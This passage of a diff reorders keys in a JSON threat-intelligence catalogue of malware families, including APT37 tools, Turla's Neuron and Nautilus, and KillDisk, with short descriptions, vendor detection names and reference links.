"https://www.trendmicro.com/vinfo/dk/threat-encyclopedia/archive/malware/pe_ghotex.a-o"
]
},
- "description": "PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.",
- "value": "GHOTEX",
- "uuid": "231b7572-239f-11e8-8404-df420a5d403b"
+ "uuid": "231b7572-239f-11e8-8404-df420a5d403b",
+ "value": "GHOTEX"
},
{
+ "description": "Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.",
"meta": {
"refs": [
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Shipup.G",
@@ -3820,42 +3830,42 @@
"https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~ShipUp-A/detailed-analysis.aspx"
]
},
- "description": "Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.",
- "value": "Shipup",
- "uuid": "4613b76c-4966-44b6-bcd5-f74fa64deb18"
+ "uuid": "4613b76c-4966-44b6-bcd5-f74fa64deb18",
+ "value": "Shipup"
},
{
- "meta": {
- "refs": [
- "https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf"
- ]
- },
"description": "Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps.\nThe Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network. ",
- "value": "Neuron",
- "uuid": "5c2eeaec-25e3-11e8-9d28-7f64aba5b173"
- },
- {
"meta": {
"refs": [
"https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf"
]
},
- "description": "Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron.\nThe Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk",
- "value": "Nautilus",
- "uuid": "73cb7ecc-25e3-11e8-a97b-c35ec4e7dcf8"
+ "uuid": "5c2eeaec-25e3-11e8-9d28-7f64aba5b173",
+ "value": "Neuron"
},
{
+ "description": "Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron.\nThe Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk",
+ "meta": {
+ "refs": [
+ "https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf"
+ ]
+ },
+ "uuid": "73cb7ecc-25e3-11e8-a97b-c35ec4e7dcf8",
+ "value": "Nautilus"
+ },
+ {
+ "description": "Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service.\nThe malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/necurs-and-gamut-botnets-account-for-97-percent-of-the-internets-spam-emails/",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Gamut-Spambot-Analysis/"
]
},
- "description": "Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service.\nThe malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.",
- "value": "Gamut Botnet",
- "uuid": "492879ac-285b-11e8-a06e-33f548e66e42"
+ "uuid": "492879ac-285b-11e8-a06e-33f548e66e42",
+ "value": "Gamut Botnet"
},
{
+ "description": "CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3865,11 +3875,11 @@
"FE_APT_InfoStealer_Win_CORALDECK_1"
]
},
- "description": "CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives",
- "value": "CORALDECK",
- "uuid": "becf81e5-f989-4093-a67d-d55a0483885f"
+ "uuid": "becf81e5-f989-4093-a67d-d55a0483885f",
+ "value": "CORALDECK"
},
{
+ "description": "DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3880,11 +3890,11 @@
"APT.Backdoor.Win.DOGCALL"
]
},
- "description": "DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.",
- "value": "DOGCALL",
- "uuid": "a5e851b4-e046-43b6-bc6e-c6c008e3c5aa"
+ "uuid": "a5e851b4-e046-43b6-bc6e-c6c008e3c5aa",
+ "value": "DOGCALL"
},
{
+ "description": "GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3893,11 +3903,11 @@
"FE_APT_Downloader_Win32_GELCAPSULE_1"
]
},
- "description": "GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.",
- "value": "GELCAPSULE",
- "uuid": "ac008bbd-f415-458e-96bf-be7d158df2d8"
+ "uuid": "ac008bbd-f415-458e-96bf-be7d158df2d8",
+ "value": "GELCAPSULE"
},
{
+ "description": "HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3908,11 +3918,11 @@
"Downloader.APT.HAPPYWORK"
]
},
- "description": "HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea.",
- "value": "HAPPYWORK",
- "uuid": "656cd201-d57a-4a2f-a201-531eb4922a72"
+ "uuid": "656cd201-d57a-4a2f-a201-531eb4922a72",
+ "value": "HAPPYWORK"
},
{
+ "description": "Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3923,11 +3933,11 @@
"Backdoor.APT.Karae"
]
},
- "description": "Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure.",
- "value": "KARAE",
- "uuid": "70ca8408-bc45-4d39-acd2-9190ba15ea97"
+ "uuid": "70ca8408-bc45-4d39-acd2-9190ba15ea97",
+ "value": "KARAE"
},
{
+ "description": "MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3936,11 +3946,11 @@
"FE_Trojan_Win32_MILKDROP_1"
]
},
- "description": "MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.",
- "value": "MILKDROP",
- "uuid": "1064c911-44e6-4c84-8e11-f476a8b06ce8"
+ "uuid": "1064c911-44e6-4c84-8e11-f476a8b06ce8",
+ "value": "MILKDROP"
},
{
+ "description": "POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3949,11 +3959,11 @@
"Backdoor.APT.POORAIM"
]
},
- "description": "POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.",
- "value": "POORAIM",
- "uuid": "fe97ace3-9a80-42af-9eae-1f9245927e5d"
+ "uuid": "fe97ace3-9a80-42af-9eae-1f9245927e5d",
+ "value": "POORAIM"
},
{
+ "description": "RICECURRY is a Javascript based profiler used to fingerprint a victim's web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3962,11 +3972,11 @@
"Exploit.APT.RICECURRY"
]
},
- "description": "RICECURRY is a Javascript based profiler used to fingerprint a victim's web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.",
- "value": "RICECURRY",
- "uuid": "6f37edf6-f5e6-4749-82f9-2aa7c30582c4"
+ "uuid": "6f37edf6-f5e6-4749-82f9-2aa7c30582c4",
+ "value": "RICECURRY"
},
{
+ "description": "RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the string 'Are you Happy?' is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3975,11 +3985,11 @@
"FE_APT_Trojan_Win32_RUHAPPY_1"
]
},
- "description": "RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the string 'Are you Happy?' is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.",
- "value": "RUHAPPY",
- "uuid": "96296d57-e9d9-42f1-b08c-c8636369b9aa"
+ "uuid": "96296d57-e9d9-42f1-b08c-c8636369b9aa",
+ "value": "RUHAPPY"
},
{
+ "description": "SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -3989,11 +3999,11 @@
"APT.Backdoor.SHUTTERSPEED"
]
},
- "description": "SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.",
- "value": "SHUTTERSPEED",
- "uuid": "d909efe3-abc3-4be0-9640-e4727542fa2b"
+ "uuid": "d909efe3-abc3-4be0-9640-e4727542fa2b",
+ "value": "SHUTTERSPEED"
},
{
+ "description": "SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads.Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -4004,11 +4014,11 @@
"APT.Downloader.SLOWDRIFT"
]
},
- "description": "SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads.Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.",
- "value": "SLOWDRIFT",
- "uuid": "e5a9a2ec-348e-4a2f-98dd-16c3e8845576"
+ "uuid": "e5a9a2ec-348e-4a2f-98dd-16c3e8845576",
+ "value": "SLOWDRIFT"
},
{
+ "description": "SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\\Temp\\HncDownload\\YYYYMMDDHHMMSS.log.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -4017,11 +4027,11 @@
"FE_APT_HackTool_Win32_SOUNDWAVE_1"
]
},
- "description": "SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\\Temp\\HncDownload\\YYYYMMDDHHMMSS.log.",
- "value": "SOUNDWAVE",
- "uuid": "6a0e3c75-5a59-4747-8fec-2e344a328575"
+ "uuid": "6a0e3c75-5a59-4747-8fec-2e344a328575",
+ "value": "SOUNDWAVE"
},
{
+ "description": "ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -4031,11 +4041,11 @@
"Trojan.APT.Zumkong"
]
},
- "description": "ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru.",
- "value": "ZUMKONG",
- "uuid": "6f1b9155-5de4-4ef7-9f42-60007599c477"
+ "uuid": "6f1b9155-5de4-4ef7-9f42-60007599c477",
+ "value": "ZUMKONG"
},
{
+ "description": "WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
@@ -4045,19 +4055,18 @@
"Backdoor.APT.WINERACK"
]
},
- "description": "WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes.",
- "value": "WINERACK",
- "uuid": "49025073-4cd3-43b8-b893-e80a1d3adc04"
+ "uuid": "49025073-4cd3-43b8-b893-e80a1d3adc04",
+ "value": "WINERACK"
},
{
+ "description": "The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\\users\\wizard\\documents\\visual studio 2010\\Projects\\RoyalCli\\Release\\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we'll get to this later.",
"meta": {
"refs": [
"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
]
},
- "description": "The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\\users\\wizard\\documents\\visual studio 2010\\Projects\\RoyalCli\\Release\\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we'll get to this later.",
- "value": "RoyalCli",
- "uuid": "ac04d0b0-c6b5-4125-acd7-c58dfe7ad4cf"
+ "uuid": "ac04d0b0-c6b5-4125-acd7-c58dfe7ad4cf",
+ "value": "RoyalCli"
},
{
"meta": {
@@ -4078,6 +4087,7 @@
"value": "SHARPKNOT"
},
{
+ "description": "KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don’t store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.",
"meta": {
"refs": [
"https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/"
@@ -4086,11 +4096,11 @@
"KillDisk"
]
},
- "description": "KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don’t store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.",
- "value": "KillDisk Wiper",
- "uuid": "aef0fdd4-38b6-11e8-afdd-3b6145112467"
+ "uuid": "aef0fdd4-38b6-11e8-afdd-3b6145112467",
+ "value": "KillDisk Wiper"
},
{
+ "description": "A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim's computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/the-diskwriter-or-uselessdisk-bootlocker-may-be-a-wiper/"
@@ -4099,22 +4109,22 @@
"DiskWriter"
]
},
- "description": "A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim's computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.",
- "value": "UselessDisk",
- "uuid": "b5112fe0-38b6-11e8-af9f-6381b5e5403f"
+ "uuid": "b5112fe0-38b6-11e8-af9f-6381b5e5403f",
+ "value": "UselessDisk"
},
{
+ "description": "During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to takedowns. ",
"meta": {
"refs": [
"http://blog.talosintelligence.com/2018/03/goscanssh-analysis.html",
"https://www.bleepingcomputer.com/news/security/goscanssh-malware-avoids-government-and-military-servers/"
]
},
- "description": "During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to takedowns. ",
- "value": "GoScanSSH",
- "uuid": "8c0a7e1e-3cc4-11e8-8f03-2f71e72f737b"
+ "uuid": "8c0a7e1e-3cc4-11e8-8f03-2f71e72f737b",
+ "value": "GoScanSSH"
},
{
+ "description": "We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.",
"meta": {
"refs": [
"https://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/"
@@ -4123,31 +4133,31 @@
"ROVNIX"
]
},
- "description": "We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.",
- "value": "Rovnix",
- "uuid": "a4036a28-3d94-11e8-ad9f-97ada3c6d5fb"
+ "uuid": "a4036a28-3d94-11e8-ad9f-97ada3c6d5fb",
+ "value": "Rovnix"
},
{
+ "description": "Once Orangeworm has infiltrated a victim’s network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.",
"meta": {
"refs": [
"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
]
},
- "description": "Once Orangeworm has infiltrated a victim’s network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.",
- "value": "Kwampirs",
- "uuid": "d1e548b8-4793-11e8-8dea-6beff82cac0a"
+ "uuid": "d1e548b8-4793-11e8-8dea-6beff82cac0a",
+ "value": "Kwampirs"
},
{
+ "description": "A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.",
"meta": {
"refs": [
"https://www.flashpoint-intel.com/blog/rubella-macro-builder/"
]
},
- "description": "A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.",
- "value": "Rubella Macro Builder",
- "uuid": "b7be6732-4ed5-11e8-8b82-dff39eb7a396"
+ "uuid": "b7be6732-4ed5-11e8-8b82-dff39eb7a396",
+ "value": "Rubella Macro Builder"
},
{
+ "description": "Researchers at Imperva's Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.",
"meta": {
"refs": [
"https://www.zdnet.com/article/hello-kitty-malware-targets-drupal-to-mine-for-cryptocurrency/",
@@ -4155,71 +4165,71 @@
"https://cryptovest.com/news/hello-kitty-new-malware-me0ws-its-way-into-mining-monero/"
]
},
- "description": "Researchers at Imperva's Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.",
- "value": "kitty Malware",
- "uuid": "85d5da28-51f7-11e8-bbeb-af367d720136"
+ "uuid": "85d5da28-51f7-11e8-bbeb-af367d720136",
+ "value": "kitty Malware"
},
{
+ "description": "We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.",
"meta": {
"refs": [
"https://blog.trendmicro.com/trendlabs-security-intelligence/maikspy-spyware-poses-as-adult-game-targets-windows-and-android-users/"
]
},
- "description": "We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.",
- "value": "Maikspy",
- "uuid": "d83ec444-535c-11e8-ae83-831d0a85d77a"
+ "uuid": "d83ec444-535c-11e8-ae83-831d0a85d77a",
+ "value": "Maikspy"
},
{
+ "description": "backdoor trojan popular found prevalently in China",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/gaming/chinese-police-arrest-15-people-who-hid-malware-inside-pubg-cheat-apps/"
]
},
- "description": "backdoor trojan popular found prevalently in China",
- "value": "Huigezi malware",
- "uuid": "6aef5a32-5381-11e8-ac5a-bb46d8986552"
+ "uuid": "6aef5a32-5381-11e8-ac5a-bb46d8986552",
+ "value": "Huigezi malware"
},
{
+ "description": "Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm's modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/facexworm-spreads-via-facebook-messenger-malicious-chrome-extension/"
]
},
- "description": "Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm's modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.",
- "value": "FacexWorm",
- "uuid": "86ac8c80-5382-11e8-b893-4f1651951472"
+ "uuid": "86ac8c80-5382-11e8-b893-4f1651951472",
+ "value": "FacexWorm"
},
{
- "meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/"
- ]
- },
"description": "implant used in Operation GhostSecret",
- "value": "Bankshot",
- "uuid": "d9431c02-5391-11e8-931f-4beceb8bd697"
- },
- {
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/"
]
},
+ "uuid": "d9431c02-5391-11e8-931f-4beceb8bd697",
+ "value": "Bankshot"
+ },
+ {
"description": "downloader used in Operation GhostSecret",
- "value": "Proxysvc",
- "uuid": "dafba168-5391-11e8-87e4-0f93b75d6ac0"
- },
- {
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/"
]
},
- "description": "backdoor used in Operation GhostSecret",
- "value": "Escad",
- "uuid": "db36cf9a-5391-11e8-b53a-97adedf48055"
+ "uuid": "dafba168-5391-11e8-87e4-0f93b75d6ac0",
+ "value": "Proxysvc"
},
{
+ "description": "backdoor used in Operation GhostSecret",
+ "meta": {
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/"
+ ]
+ },
